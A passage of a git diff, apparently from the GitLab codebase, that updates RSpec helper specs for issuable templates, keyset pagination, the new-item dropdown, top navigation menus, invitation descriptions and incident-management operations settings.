- let(:link_href) { "href=\"#{group_group_members_path(form_model)}\"" }
-
- it_behaves_like 'dropdown invite members link'
- end
- end
end
diff --git a/spec/helpers/issuables_description_templates_helper_spec.rb b/spec/helpers/issuables_description_templates_helper_spec.rb
index e8961ccb535..95460174266 100644
--- a/spec/helpers/issuables_description_templates_helper_spec.rb
+++ b/spec/helpers/issuables_description_templates_helper_spec.rb
@@ -13,24 +13,8 @@ RSpec.describe IssuablesDescriptionTemplatesHelper, :clean_gitlab_redis_cache do
let_it_be(:group_member) { create(:group_member, :developer, group: parent_group, user: user) }
let_it_be(:project_member) { create(:project_member, :developer, user: user, project: project) }
- context 'when feature flag disabled' do
- before do
- stub_feature_flags(inherited_issuable_templates: false)
- end
-
- it 'returns empty array when template type does not exist' do
- expect(helper.issuable_templates(project, 'non-existent-template-type')).to eq([])
- end
- end
-
- context 'when feature flag enabled' do
- before do
- stub_feature_flags(inherited_issuable_templates: true)
- end
-
- it 'returns empty hash when template type does not exist' do
- expect(helper.issuable_templates(build(:project), 'non-existent-template-type')).to eq({})
- end
+ it 'returns empty hash when template type does not exist' do
+ expect(helper.issuable_templates(build(:project), 'non-existent-template-type')).to eq({})
end
context 'with cached issuable templates' do
@@ -81,16 +65,18 @@ RSpec.describe IssuablesDescriptionTemplatesHelper, :clean_gitlab_redis_cache do
allow(helper).to receive(:issuable_templates).and_return(templates)
end
- context 'when feature flag disabled' do
+ context 'with matching project templates' do
let(:templates) do
- [
- { name: "another_issue_template", id: "another_issue_template", project_id: project.id },
- { name: "custom_issue_template", id: "custom_issue_template", project_id: project.id }
- ]
- end
-
- before do
- stub_feature_flags(inherited_issuable_templates: false)
+ {
+ "" => [
+ { name: "another_issue_template", id: "another_issue_template", project_id: project.id },
+ { name: "custom_issue_template", id: "custom_issue_template", project_id: project.id }
+ ],
+ "Instance" => [
+ { name: "first_issue_issue_template", id: "first_issue_issue_template", project_id: non_existing_record_id },
+ { name: "second_instance_issue_template", id: "second_instance_issue_template", project_id: non_existing_record_id }
+ ]
+ }
end
it 'returns project templates only' do
@@ -98,47 +84,22 @@ RSpec.describe IssuablesDescriptionTemplatesHelper, :clean_gitlab_redis_cache do
end
end
- context 'when feature flag enabled' do
- before do
- stub_feature_flags(inherited_issuable_templates: true)
- end
-
- context 'with matching project templates' do
- let(:templates) do
- {
- "" => [
- { name: "another_issue_template", id: "another_issue_template", project_id: project.id },
- { name: "custom_issue_template", id: "custom_issue_template", project_id: project.id }
- ],
- "Instance" => [
- { name: "first_issue_issue_template", id: "first_issue_issue_template", project_id: non_existing_record_id },
- { name: "second_instance_issue_template", id: "second_instance_issue_template", project_id: non_existing_record_id }
- ]
- }
- end
-
- it 'returns project templates only' do
- expect(helper.issuable_templates_names(Issue.new)).to eq(%w[another_issue_template custom_issue_template])
- end
+ context 'without matching project templates' do
+ let(:templates) do
+ {
+ "Project Templates" => [
+ { name: "another_issue_template", id: "another_issue_template", project_id: non_existing_record_id },
+ { name: "custom_issue_template", id: "custom_issue_template", project_id: non_existing_record_id }
+ ],
+ "Instance" => [
+ { name: "first_issue_issue_template", id: "first_issue_issue_template", project_id: non_existing_record_id },
+ { name: "second_instance_issue_template", id: "second_instance_issue_template", project_id: non_existing_record_id }
+ ]
+ }
end
- context 'without matching project templates' do
- let(:templates) do
- {
- "Project Templates" => [
- { name: "another_issue_template", id: "another_issue_template", project_id: non_existing_record_id },
- { name: "custom_issue_template", id: "custom_issue_template", project_id: non_existing_record_id }
- ],
- "Instance" => [
- { name: "first_issue_issue_template", id: "first_issue_issue_template", project_id: non_existing_record_id },
- { name: "second_instance_issue_template", id: "second_instance_issue_template", project_id: non_existing_record_id }
- ]
- }
- end
-
- it 'returns empty array' do
- expect(helper.issuable_templates_names(Issue.new)).to eq([])
- end
+ it 'returns empty array' do
+ expect(helper.issuable_templates_names(Issue.new)).to eq([])
end
end
diff --git a/spec/helpers/issuables_helper_spec.rb b/spec/helpers/issuables_helper_spec.rb
index b0338d80ee7..ecaee03eeea 100644
--- a/spec/helpers/issuables_helper_spec.rb
+++ b/spec/helpers/issuables_helper_spec.rb
@@ -202,6 +202,20 @@ RSpec.describe IssuablesHelper do
end
end
+ describe '#issuable_project_reference' do
+ it 'display project name and simple reference with `#` to an issue' do
+ issue = build_stubbed(:issue)
+
+ expect(helper.issuable_project_reference(issue)).to eq("#{issue.project.full_name} ##{issue.iid}")
+ end
+
+ it 'display project name and simple reference with `!` to an MR' do
+ merge_request = build_stubbed(:merge_request)
+
+ expect(helper.issuable_project_reference(merge_request)).to eq("#{merge_request.project.full_name} !#{merge_request.iid}")
+ end
+ end
+
describe '#updated_at_by' do
let(:user) { create(:user) }
let(:unedited_issuable) { create(:issue) }
diff --git a/spec/helpers/issues_helper_spec.rb b/spec/helpers/issues_helper_spec.rb
index 17e6c75ca27..59b42dfca20 100644
--- a/spec/helpers/issues_helper_spec.rb
+++ b/spec/helpers/issues_helper_spec.rb
@@ -304,15 +304,15 @@ RSpec.describe IssuesHelper do
empty_state_svg_path: '#',
endpoint: expose_path(api_v4_projects_issues_path(id: project.id)),
export_csv_path: export_csv_project_issues_path(project),
- has_issues: project_issues(project).exists?.to_s,
+ has_project_issues: project_issues(project).exists?.to_s,
import_csv_issues_path: '#',
initial_email: project.new_issuable_address(current_user, 'issue'),
is_signed_in: current_user.present?.to_s,
issues_path: project_issues_path(project),
- jira_integration_path: help_page_url('user/project/integrations/jira', anchor: 'view-jira-issues'),
+ jira_integration_path: help_page_url('integration/jira/', anchor: 'view-jira-issues'),
markdown_help_path: help_page_path('user/markdown'),
max_attachment_size: number_to_human_size(Gitlab::CurrentSettings.max_attachment_size.megabytes),
- new_issue_path: new_project_issue_path(project, issue: { assignee_id: finder.assignee.id, milestone_id: finder.milestones.first.id }),
+ new_issue_path: new_project_issue_path(project, issue: { milestone_id: finder.milestones.first.id }),
project_import_jira_path: project_import_jira_path(project),
project_labels_path: project_labels_path(project, include_ancestor_groups: true, format: :json),
project_milestones_path: project_milestones_path(project, format: :json),
diff --git a/spec/helpers/keyset_helper_spec.rb b/spec/helpers/keyset_helper_spec.rb
new file mode 100644
index 00000000000..2e4bf537e2f
--- /dev/null
+++ b/spec/helpers/keyset_helper_spec.rb
@@ -0,0 +1,94 @@
+# frozen_string_literal: true
+require 'spec_helper'
+
+RSpec.describe KeysetHelper, type: :controller do
+ controller(Admin::UsersController) do
+ def index
+ @users = User
+ .where(admin: false)
+ .order(id: :desc)
+ .keyset_paginate(cursor: params[:cursor], per_page: 2)
+
+ render inline: "<%= keyset_paginate @users %>", layout: false # rubocop: disable Rails/RenderInline
+ end
+ end
+
+ render_views
+
+ let(:admin) { create(:admin) }
+
+ before do
+ sign_in(admin)
+ end
+
+ context 'with admin mode', :enable_admin_mode do
+ context 'when no users are present' do
+ it 'does not render pagination links' do
+ get :index
+
+ expect(response.body).not_to include(s_('Pagination|First'))
+ expect(response.body).not_to include(s_('Pagination|Prev'))
+ expect(response.body).not_to include(s_('Pagination|Next'))
+ expect(response.body).not_to include(s_('Pagination|Last'))
+ end
+ end
+
+ context 'when one user is present' do
+ before do
+ create(:user)
+ end
+
+ it 'does not render pagination links' do
+ get :index
+
+ expect(response.body).not_to include(s_('Pagination|First'))
+ expect(response.body).not_to include(s_('Pagination|Prev'))
+ expect(response.body).not_to include(s_('Pagination|Next'))
+ expect(response.body).not_to include(s_('Pagination|Last'))
+ end
+ end
+
+ context 'when more users are present' do
+ let_it_be(:users) { create_list(:user, 5) }
+
+ let(:paginator) { User.where(admin: false).order(id: :desc).keyset_paginate(per_page: 2) }
+
+ context 'when on the first page' do
+ it 'renders the next and last links' do
+ get :index
+
+ expect(response.body).not_to include(s_('Pagination|First'))
+ expect(response.body).not_to include(s_('Pagination|Prev'))
+ expect(response.body).to include(s_('Pagination|Next'))
+ expect(response.body).to include(s_('Pagination|Last'))
+ end
+ end
+
+ context 'when at the last page' do
+ it 'renders the prev and first links' do
+ cursor = paginator.cursor_for_last_page
+
+ get :index, params: { cursor: cursor }
+
+ expect(response.body).to include(s_('Pagination|First'))
+ expect(response.body).to include(s_('Pagination|Prev'))
+ expect(response.body).not_to include(s_('Pagination|Next'))
+ expect(response.body).not_to include(s_('Pagination|Last'))
+ end
+ end
+
+ context 'when at the second page' do
+ it 'renders all links' do
+ cursor = paginator.cursor_for_next_page
+
+ get :index, params: { cursor: cursor }
+
+ expect(response.body).to include(s_('Pagination|First'))
+ expect(response.body).to include(s_('Pagination|Prev'))
+ expect(response.body).to include(s_('Pagination|Next'))
+ expect(response.body).to include(s_('Pagination|Last'))
+ end
+ end
+ end
+ end
+end
diff --git a/spec/helpers/nav/new_dropdown_helper_spec.rb b/spec/helpers/nav/new_dropdown_helper_spec.rb
new file mode 100644
index 00000000000..dd860ce3180
--- /dev/null
+++ b/spec/helpers/nav/new_dropdown_helper_spec.rb
@@ -0,0 +1,320 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Nav::NewDropdownHelper do
+ describe '#new_dropdown_view_model' do
+ let_it_be(:user) { build_stubbed(:user) }
+
+ let(:current_user) { user }
+ let(:current_project) { nil }
+ let(:current_group) { nil }
+
+ let(:with_can_create_project) { false }
+ let(:with_can_create_group) { false }
+ let(:with_can_create_snippet) { false }
+ let(:with_new_repo_experiment) { :control }
+ let(:with_invite_members_experiment) { false }
+ let(:with_invite_members_experiment_enabled) { false }
+
+ let(:subject) { helper.new_dropdown_view_model(project: current_project, group: current_group) }
+
+ def expected_menu_section(title:, menu_item:)
+ [
+ {
+ title: title,
+ menu_items: [menu_item]
+ }
+ ]
+ end
+
+ before do
+ stub_experiments(new_repo: with_new_repo_experiment)
+ allow(::Gitlab::Experimentation).to receive(:active?).with(:invite_members_new_dropdown) { with_invite_members_experiment }
+ allow(helper).to receive(:experiment_enabled?).with(:invite_members_new_dropdown) { with_invite_members_experiment_enabled }
+ allow(helper).to receive(:tracking_label) { 'test_tracking_label' }
+ allow(helper).to receive(:experiment_tracking_category_and_group) { |x| x }
+
+ allow(helper).to receive(:current_user) { current_user }
+ allow(helper).to receive(:can?) { false }
+
+ allow(user).to receive(:can_create_project?) { with_can_create_project }
+ allow(user).to receive(:can_create_group?) { with_can_create_group }
+ allow(user).to receive(:can?).with(:create_snippet) { with_can_create_snippet }
+ end
+
+ shared_examples 'new repo experiment shared example' do |title|
+ let(:with_new_repo_experiment) { :candidate }
+
+ it 'has experiment project title' do
+ expect(subject[:menu_sections]).to match(
+ expected_menu_section(
+ title: title,
+ menu_item: a_hash_including(title: 'New project/repository')
+ )
+ )
+ end
+ end
+
+ shared_examples 'invite member link shared example' do
+ it 'shows invite member link' do
+ expect(subject[:menu_sections]).to eq(
+ expected_menu_section(
+ title: expected_title,
+ menu_item: ::Gitlab::Nav::TopNavMenuItem.build(
+ id: 'invite',
+ title: 'Invite members',
+ href: expected_href,
+ data: {
+ track_event: 'click_link',
+ track_label: 'test_tracking_label',
+ track_property: :invite_members_new_dropdown
+ }
+ )
+ )
+ )
+ end
+
+ context 'with experiment enabled' do
+ let(:with_invite_members_experiment_enabled) { true }
+
+ it 'shows emoji with invite member link' do
+ expect(subject[:menu_sections]).to match(
+ expected_menu_section(
+ title: expected_title,
+ menu_item: a_hash_including(
+ emoji: 'shaking_hands'
+ )
+ )
+ )
+ end
+ end
+ end
+
+ it 'has title' do
+ expect(subject[:title]).to eq('New...')
+ end
+
+ context 'when current_user is nil (anonymous)' do
+ let(:current_user) { nil }
+
+ it 'is nil' do
+ expect(subject).to be_nil
+ end
+ end
+
+ context 'when group and project are nil' do
+ it 'has no menu sections' do
+ expect(subject[:menu_sections]).to eq([])
+ end
+
+ context 'when can create project' do
+ let(:with_can_create_project) { true }
+
+ it 'has project menu item' do
+ expect(subject[:menu_sections]).to eq(
+ expected_menu_section(
+ title: 'GitLab',
+ menu_item: ::Gitlab::Nav::TopNavMenuItem.build(
+ id: 'general_new_project',
+ title: 'New project',
+ href: '/projects/new',
+ data: { track_experiment: 'new_repo', track_event: 'click_link_new_project', track_label: 'plus_menu_dropdown', qa_selector: 'global_new_project_link' }
+ )
+ )
+ )
+ end
+
+ it_behaves_like 'new repo experiment shared example', 'GitLab'
+ end
+
+ context 'when can create group' do
+ let(:with_can_create_group) { true }
+
+ it 'has group menu item' do
+ expect(subject[:menu_sections]).to eq(
+ expected_menu_section(
+ title: 'GitLab',
+ menu_item: ::Gitlab::Nav::TopNavMenuItem.build(
+ id: 'general_new_group',
+ title: 'New group',
+ href: '/groups/new',
+ data: { track_event: 'click_link_new_group', track_label: 'plus_menu_dropdown' }
+ )
+ )
+ )
+ end
+ end
+
+ context 'when can create snippet' do
+ let(:with_can_create_snippet) { true }
+
+ it 'has new snippet menu item' do
+ expect(subject[:menu_sections]).to eq(
+ expected_menu_section(
+ title: 'GitLab',
+ menu_item: ::Gitlab::Nav::TopNavMenuItem.build(
+ id: 'general_new_snippet',
+ title: 'New snippet',
+ href: '/-/snippets/new',
+ data: { track_event: 'click_link_new_snippet_parent', track_label: 'plus_menu_dropdown', qa_selector: 'global_new_snippet_link' }
+ )
+ )
+ )
+ end
+ end
+ end
+
+ context 'with persisted group' do
+ let_it_be(:group) { build_stubbed(:group) }
+
+ let(:current_group) { group }
+ let(:with_can_create_projects_in_group) { false }
+ let(:with_can_create_subgroup_in_group) { false }
+ let(:with_can_admin_in_group) { false }
+
+ before do
+ allow(group).to receive(:persisted?) { true }
+ allow(helper).to receive(:can?).with(current_user, :create_projects, group) { with_can_create_projects_in_group }
+ allow(helper).to receive(:can?).with(current_user, :create_subgroup, group) { with_can_create_subgroup_in_group }
+ allow(helper).to receive(:can?).with(current_user, :admin_group_member, group) { with_can_admin_in_group }
+ end
+
+ it 'has no menu sections' do
+ expect(subject[:menu_sections]).to eq([])
+ end
+
+ context 'when can create projects in group' do
+ let(:with_can_create_projects_in_group) { true }
+
+ it 'has new project menu item' do
+ expect(subject[:menu_sections]).to eq(
+ expected_menu_section(
+ title: 'This group',
+ menu_item: ::Gitlab::Nav::TopNavMenuItem.build(
+ id: 'new_project',
+ title: 'New project',
+ href: "/projects/new?namespace_id=#{group.id}",
+ data: { track_experiment: 'new_repo', track_event: 'click_link_new_project_group', track_label: 'plus_menu_dropdown' }
+ )
+ )
+ )
+ end
+
+ it_behaves_like 'new repo experiment shared example', 'This group'
+ end
+
+ context 'when can create subgroup' do
+ let(:with_can_create_subgroup_in_group) { true }
+
+ it 'has new subgroup menu item' do
+ expect(subject[:menu_sections]).to eq(
+ expected_menu_section(
+ title: 'This group',
+ menu_item: ::Gitlab::Nav::TopNavMenuItem.build(
+ id: 'new_subgroup',
+ title: 'New subgroup',
+ href: "/groups/new?parent_id=#{group.id}",
+ data: { track_event: 'click_link_new_subgroup', track_label: 'plus_menu_dropdown' }
+ )
+ )
+ )
+ end
+ end
+
+ context 'when can invite members' do
+ let(:with_can_admin_in_group) { true }
+ let(:with_invite_members_experiment) { true }
+ let(:expected_title) { 'This group' }
+ let(:expected_href) { "/groups/#{group.full_path}/-/group_members" }
+
+ it_behaves_like 'invite member link shared example'
+ end
+ end
+
+ context 'with persisted project' do
+ let_it_be(:project) { build_stubbed(:project) }
+ let_it_be(:merge_project) { build_stubbed(:project) }
+
+ let(:current_project) { project }
+ let(:with_show_new_issue_link) { false }
+ let(:with_merge_project) { nil }
+ let(:with_can_create_snippet_in_project) { false }
+ let(:with_can_import_members) { false }
+
+ before do
+ allow(helper).to receive(:show_new_issue_link?).with(project) { with_show_new_issue_link }
+ allow(helper).to receive(:merge_request_source_project_for_project).with(project) { with_merge_project }
+ allow(helper).to receive(:can?).with(user, :create_snippet, project) { with_can_create_snippet_in_project }
+ allow(helper).to receive(:can_import_members?) { with_can_import_members }
+ end
+
+ it 'has no menu sections' do
+ expect(subject[:menu_sections]).to eq([])
+ end
+
+ context 'with show_new_issue_link?' do
+ let(:with_show_new_issue_link) { true }
+
+ it 'shows new issue menu item' do
+ expect(subject[:menu_sections]).to eq(
+ expected_menu_section(
+ title: 'This project',
+ menu_item: ::Gitlab::Nav::TopNavMenuItem.build(
+ id: 'new_issue',
+ title: 'New issue',
+ href: "/#{project.path_with_namespace}/-/issues/new",
+ data: { track_event: 'click_link_new_issue', track_label: 'plus_menu_dropdown', qa_selector: 'new_issue_link' }
+ )
+ )
+ )
+ end
+ end
+
+ context 'with merge project' do
+ let(:with_merge_project) { merge_project }
+
+ it 'shows merge project' do
+ expect(subject[:menu_sections]).to eq(
+ expected_menu_section(
+ title: 'This project',
+ menu_item: ::Gitlab::Nav::TopNavMenuItem.build(
+ id: 'new_mr',
+ title: 'New merge request',
+ href: "/#{merge_project.path_with_namespace}/-/merge_requests/new",
+ data: { track_event: 'click_link_new_mr', track_label: 'plus_menu_dropdown' }
+ )
+ )
+ )
+ end
+ end
+
+ context 'when can create snippet' do
+ let(:with_can_create_snippet_in_project) { true }
+
+ it 'shows new snippet' do
+ expect(subject[:menu_sections]).to eq(
+ expected_menu_section(
+ title: 'This project',
+ menu_item: ::Gitlab::Nav::TopNavMenuItem.build(
+ id: 'new_snippet',
+ title: 'New snippet',
+ href: "/#{project.path_with_namespace}/-/snippets/new",
+ data: { track_event: 'click_link_new_snippet_project', track_label: 'plus_menu_dropdown' }
+ )
+ )
+ )
+ end
+ end
+
+ context 'when invite members experiment' do
+ let(:with_invite_members_experiment) { true }
+ let(:with_can_import_members) { true }
+ let(:expected_title) { 'This project' }
+ let(:expected_href) { "/#{project.path_with_namespace}/-/project_members" }
+
+ it_behaves_like 'invite member link shared example'
+ end
+ end
+ end
+end
diff --git a/spec/helpers/nav/top_nav_helper_spec.rb b/spec/helpers/nav/top_nav_helper_spec.rb
index 5c9e1e82b01..d87c751c62f 100644
--- a/spec/helpers/nav/top_nav_helper_spec.rb
+++ b/spec/helpers/nav/top_nav_helper_spec.rb
@@ -5,11 +5,17 @@ require 'spec_helper'
RSpec.describe Nav::TopNavHelper do
include ActionView::Helpers::UrlHelper
- describe '#top_nav_view_model' do
- let_it_be(:user) { build_stubbed(:user) }
- let_it_be(:admin) { build_stubbed(:user, :admin) }
+ let_it_be(:user) { build_stubbed(:user) }
+ let_it_be(:admin) { build_stubbed(:user, :admin) }
+ let_it_be(:external_user) { build_stubbed(:user, :external, can_create_group: false) }
+
+ let(:current_user) { nil }
+
+ before do
+ allow(helper).to receive(:current_user) { current_user }
+ end
- let(:current_user) { nil }
+ describe '#top_nav_view_model' do
let(:current_project) { nil }
let(:current_group) { nil }
let(:with_current_settings_admin_mode) { false }
@@ -26,7 +32,6 @@ RSpec.describe Nav::TopNavHelper do
let(:active_title) { 'Menu' }
before do
- allow(helper).to receive(:current_user) { current_user }
allow(Gitlab::CurrentSettings).to receive(:admin_mode) { with_current_settings_admin_mode }
allow(helper).to receive(:header_link?).with(:admin_mode) { with_header_link_admin_mode }
allow(Gitlab::Sherlock).to receive(:enabled?) { with_sherlock_enabled }
@@ -48,30 +53,73 @@ RSpec.describe Nav::TopNavHelper do
context 'when current_user is nil (anonymous)' do
it 'has expected :primary' do
- expected_projects_item = ::Gitlab::Nav::TopNavMenuItem.build(
- href: '/explore',
- icon: 'project',
- id: 'project',
- title: 'Projects'
- )
- expected_groups_item = ::Gitlab::Nav::TopNavMenuItem.build(
- href: '/explore/groups',
- icon: 'group',
- id: 'groups',
- title: 'Groups'
- )
- expected_snippets_item = ::Gitlab::Nav::TopNavMenuItem.build(
- href: '/explore/snippets',
- icon: 'snippet',
- id: 'snippets',
- title: 'Snippets'
- )
- expect(subject[:primary])
- .to eq([
- expected_projects_item,
- expected_groups_item,
- expected_snippets_item
- ])
+ expected_primary = [
+ ::Gitlab::Nav::TopNavMenuItem.build(
+ href: '/explore',
+ icon: 'project',
+ id: 'project',
+ title: 'Projects'
+ ),
+ ::Gitlab::Nav::TopNavMenuItem.build(
+ href: '/explore/groups',
+ icon: 'group',
+ id: 'groups',
+ title: 'Groups'
+ ),
+ ::Gitlab::Nav::TopNavMenuItem.build(
+ href: '/explore/snippets',
+ icon: 'snippet',
+ id: 'snippets',
+ title: 'Snippets'
+ )
+ ]
+ expect(subject[:primary]).to eq(expected_primary)
+ end
+
+ it 'has expected :shortcuts' do
+ expected_shortcuts = [
+ ::Gitlab::Nav::TopNavMenuItem.build(
+ href: '/explore',
+ id: 'project-shortcut',
+ title: 'Projects',
+ css_class: 'dashboard-shortcuts-projects'
+ ),
+ ::Gitlab::Nav::TopNavMenuItem.build(
+ href: '/explore/groups',
+ id: 'groups-shortcut',
+ title: 'Groups',
+ css_class: 'dashboard-shortcuts-groups'
+ ),
+ ::Gitlab::Nav::TopNavMenuItem.build(
+ href: '/explore/snippets',
+ id: 'snippets-shortcut',
+ title: 'Snippets',
+ css_class: 'dashboard-shortcuts-snippets'
+ )
+ ]
+ expect(subject[:shortcuts]).to eq(expected_shortcuts)
+ end
+
+ it 'has expected :secondary' do
+ expected_secondary = [
+ ::Gitlab::Nav::TopNavMenuItem.build(
+ href: '/help',
+ id: 'help',
+ title: 'Help',
+ icon: 'question-o'
+ )
+ ]
+ expect(subject[:secondary]).to eq(expected_secondary)
+ end
+
+ context 'with current nav as project' do
+ before do
+ helper.nav('project')
+ end
+
+ it 'has expected :active' do
+ expect(subject[:primary].detect { |entry| entry[:id] == 'project' }[:active]).to eq(true)
+ end
end
end
@@ -82,6 +130,7 @@ RSpec.describe Nav::TopNavHelper do
expect(subject).to eq({ activeTitle: active_title,
primary: [],
secondary: [],
+ shortcuts: [],
views: {} })
end
@@ -105,6 +154,16 @@ RSpec.describe Nav::TopNavHelper do
expect(subject[:primary]).to eq([expected_primary])
end
+ it 'has expected :shortcuts' do
+ expected_shortcuts = ::Gitlab::Nav::TopNavMenuItem.build(
+ id: 'project-shortcut',
+ title: 'Projects',
+ href: '/dashboard/projects',
+ css_class: 'dashboard-shortcuts-projects'
+ )
+ expect(subject[:shortcuts]).to eq([expected_shortcuts])
+ end
+
context 'projects' do
it 'has expected :currentUserName' do
expect(projects_view[:currentUserName]).to eq(current_user.username)
@@ -146,6 +205,16 @@ RSpec.describe Nav::TopNavHelper do
expect(projects_view[:linksSecondary]).to eq(expected_links_secondary)
end
+ context 'with current nav as project' do
+ before do
+ helper.nav('project')
+ end
+
+ it 'has expected :active' do
+ expect(subject[:primary].detect { |entry| entry[:id] == 'project' }[:active]).to eq(true)
+ end
+ end
+
context 'with persisted project' do
let_it_be(:project) { build_stubbed(:project) }
@@ -191,6 +260,16 @@ RSpec.describe Nav::TopNavHelper do
expect(subject[:primary]).to eq([expected_primary])
end
+ it 'has expected :shortcuts' do
+ expected_shortcuts = ::Gitlab::Nav::TopNavMenuItem.build(
+ id: 'groups-shortcut',
+ title: 'Groups',
+ href: '/dashboard/groups',
+ css_class: 'dashboard-shortcuts-groups'
+ )
+ expect(subject[:shortcuts]).to eq([expected_shortcuts])
+ end
+
context 'groups' do
it 'has expected :currentUserName' do
expect(groups_view[:currentUserName]).to eq(current_user.username)
@@ -219,7 +298,7 @@ RSpec.describe Nav::TopNavHelper do
it 'has expected :linksSecondary' do
expected_links_secondary = [
::Gitlab::Nav::TopNavMenuItem.build(
- href: '/groups/new#create-group-pane',
+ href: '/groups/new',
id: 'create',
title: 'Create group'
)
@@ -227,6 +306,24 @@ RSpec.describe Nav::TopNavHelper do
expect(groups_view[:linksSecondary]).to eq(expected_links_secondary)
end
+ context 'with external user' do
+ let(:current_user) { external_user }
+
+ it 'does not have create group link' do
+ expect(groups_view[:linksSecondary]).to eq([])
+ end
+ end
+
+ context 'with current nav as group' do
+ before do
+ helper.nav('group')
+ end
+
+ it 'has expected :active' do
+ expect(subject[:primary].detect { |entry| entry[:id] == 'groups' }[:active]).to eq(true)
+ end
+ end
+
context 'with persisted group' do
let_it_be(:group) { build_stubbed(:group) }
@@ -268,6 +365,16 @@ RSpec.describe Nav::TopNavHelper do
)
expect(subject[:primary]).to eq([expected_primary])
end
+
+ it 'has expected :shortcuts' do
+ expected_shortcuts = ::Gitlab::Nav::TopNavMenuItem.build(
+ id: 'milestones-shortcut',
+ title: 'Milestones',
+ href: '/dashboard/milestones',
+ css_class: 'dashboard-shortcuts-milestones'
+ )
+ expect(subject[:shortcuts]).to eq([expected_shortcuts])
+ end
end
context 'with snippets' do
@@ -285,6 +392,16 @@ RSpec.describe Nav::TopNavHelper do
)
expect(subject[:primary]).to eq([expected_primary])
end
+
+ it 'has expected :shortcuts' do
+ expected_shortcuts = ::Gitlab::Nav::TopNavMenuItem.build(
+ id: 'snippets-shortcut',
+ title: 'Snippets',
+ href: '/dashboard/snippets',
+ css_class: 'dashboard-shortcuts-snippets'
+ )
+ expect(subject[:shortcuts]).to eq([expected_shortcuts])
+ end
end
context 'with activity' do
@@ -302,6 +419,16 @@ RSpec.describe Nav::TopNavHelper do
)
expect(subject[:primary]).to eq([expected_primary])
end
+
+ it 'has expected :shortcuts' do
+ expected_shortcuts = ::Gitlab::Nav::TopNavMenuItem.build(
+ id: 'activity-shortcut',
+ title: 'Activity',
+ href: '/dashboard/activity',
+ css_class: 'dashboard-shortcuts-activity'
+ )
+ expect(subject[:shortcuts]).to eq([expected_shortcuts])
+ end
end
context 'when sherlock is enabled' do
@@ -352,7 +479,7 @@ RSpec.describe Nav::TopNavHelper do
title: 'Leave Admin Mode',
icon: 'lock-open',
href: '/admin/session/destroy',
- method: :post
+ data: { method: 'post' }
)
expect(subject[:secondary].last).to eq(expected_leave_admin_mode_item)
end
@@ -373,4 +500,50 @@ RSpec.describe Nav::TopNavHelper do
end
end
end
+
+ describe '#top_nav_responsive_view_model' do
+ let_it_be(:project) { create(:project) }
+ let_it_be(:group) { create(:group) }
+
+ let(:with_search) { false }
+ let(:with_new_view_model) { nil }
+
+ let(:subject) { helper.top_nav_responsive_view_model(project: project, group: group) }
+
+ before do
+ allow(helper).to receive(:header_link?).with(:search) { with_search }
+ allow(helper).to receive(:new_dropdown_view_model).with(project: project, group: group) { with_new_view_model }
+ end
+
+ it 'has nil new subview' do
+ expect(subject[:views][:new]).to be_nil
+ end
+
+ it 'has nil search subview' do
+ expect(subject[:views][:search]).to be_nil
+ end
+
+ context 'with search' do
+ let(:with_search) { true }
+
+ it 'has search subview' do
+ expect(subject[:views][:search]).to eq(
+ ::Gitlab::Nav::TopNavMenuItem.build(
+ id: 'search',
+ title: 'Search',
+ icon: 'search',
+ href: search_path
+ )
+ )
+ end
+ end
+
+ context 'with new' do
+ let(:with_new_view_model) { { id: 'test-new-view-model' } }
+
+ it 'has new subview' do
+ expect(subject[:views][:new]).to eq({ id: 'test-new-view-model' })
+ end
+ end
+ end
end
diff --git a/spec/helpers/notify_helper_spec.rb b/spec/helpers/notify_helper_spec.rb
index eb0f796038c..e2a7a212b1b 100644
--- a/spec/helpers/notify_helper_spec.rb
+++ b/spec/helpers/notify_helper_spec.rb
@@ -28,27 +28,12 @@ RSpec.describe NotifyHelper do
end
end
- describe '#invited_role_description' do
- where(:role, :description) do
- "Guest" | /As a guest/
- "Reporter" | /As a reporter/
- "Developer" | /As a developer/
- "Maintainer" | /As a maintainer/
- "Owner" | /As an owner/
- "Minimal Access" | /As a user with minimal access/
- end
-
- with_them do
- specify do
- expect(helper.invited_role_description(role)).to match description
- end
- end
- end
-
describe '#invited_to_description' do
where(:source, :description) do
- "project" | /Projects can/
- "group" | /Groups assemble/
+ build(:project, description: nil) | /Projects are/
+ build(:group, description: nil) | /Groups assemble/
+ build(:project, description: '_description_') | '_description_'
+ build(:group, description: '_description_') | '_description_'
end
with_them do
@@ -56,6 +41,15 @@ RSpec.describe NotifyHelper do
expect(helper.invited_to_description(source)).to match description
end
end
+
+ it 'truncates long descriptions', :aggregate_failures do
+ description = '_description_ ' * 30
+ project = build(:project, description: description)
+
+ result = helper.invited_to_description(project)
+ expect(result).not_to match description
+ expect(result.length).to be <= 200
+ end
end
def reference_link(entity, url)
diff --git a/spec/helpers/operations_helper_spec.rb b/spec/helpers/operations_helper_spec.rb
index 5b0ce00063f..e1bd477bc75 100644
--- a/spec/helpers/operations_helper_spec.rb
+++ b/spec/helpers/operations_helper_spec.rb
@@ -40,7 +40,14 @@ RSpec.describe OperationsHelper do
'prometheus_url' => notify_project_prometheus_alerts_url(project, format: :json),
'disabled' => 'false',
'project_path' => project.full_path,
- 'multi_integrations' => 'false'
+ 'multi_integrations' => 'false',
+ 'templates' => '[]',
+ 'create_issue' => 'false',
+ 'issue_template_key' => '',
+ 'send_email' => 'false',
+ 'auto_close_incident' => 'true',
+ 'operations_settings_endpoint' => project_settings_operations_path(project),
+ 'pagerduty_reset_key_path' => reset_pagerduty_token_project_settings_operations_path(project)
)
end
end
@@ -106,9 +113,7 @@ RSpec.describe OperationsHelper do
create(
:project_incident_management_setting,
project: project,
- issue_template_key: 'template-key',
- pagerduty_active: true,
- auto_close_incident: false
+ pagerduty_active: true
)
end
@@ -117,11 +122,6 @@ RSpec.describe OperationsHelper do
it 'returns the correct set of data' do
is_expected.to include(
operations_settings_endpoint: project_settings_operations_path(project),
- templates: '[]',
- create_issue: 'false',
- issue_template_key: 'template-key',
- send_email: 'false',
- auto_close_incident: 'false',
pagerduty_active: 'true',
pagerduty_token: operations_settings.pagerduty_token,
pagerduty_webhook_url: project_incidents_integrations_pagerduty_url(project, token: operations_settings.pagerduty_token),
diff --git a/spec/helpers/packages_helper_spec.rb b/spec/helpers/packages_helper_spec.rb
index dacd386d01c..93d32cb8418 100644
--- a/spec/helpers/packages_helper_spec.rb
+++ b/spec/helpers/packages_helper_spec.rb
@@ -3,11 +3,13 @@
require 'spec_helper'
RSpec.describe PackagesHelper do
+ using RSpec::Parameterized::TableSyntax
+
+ let_it_be_with_reload(:project) { create(:project) }
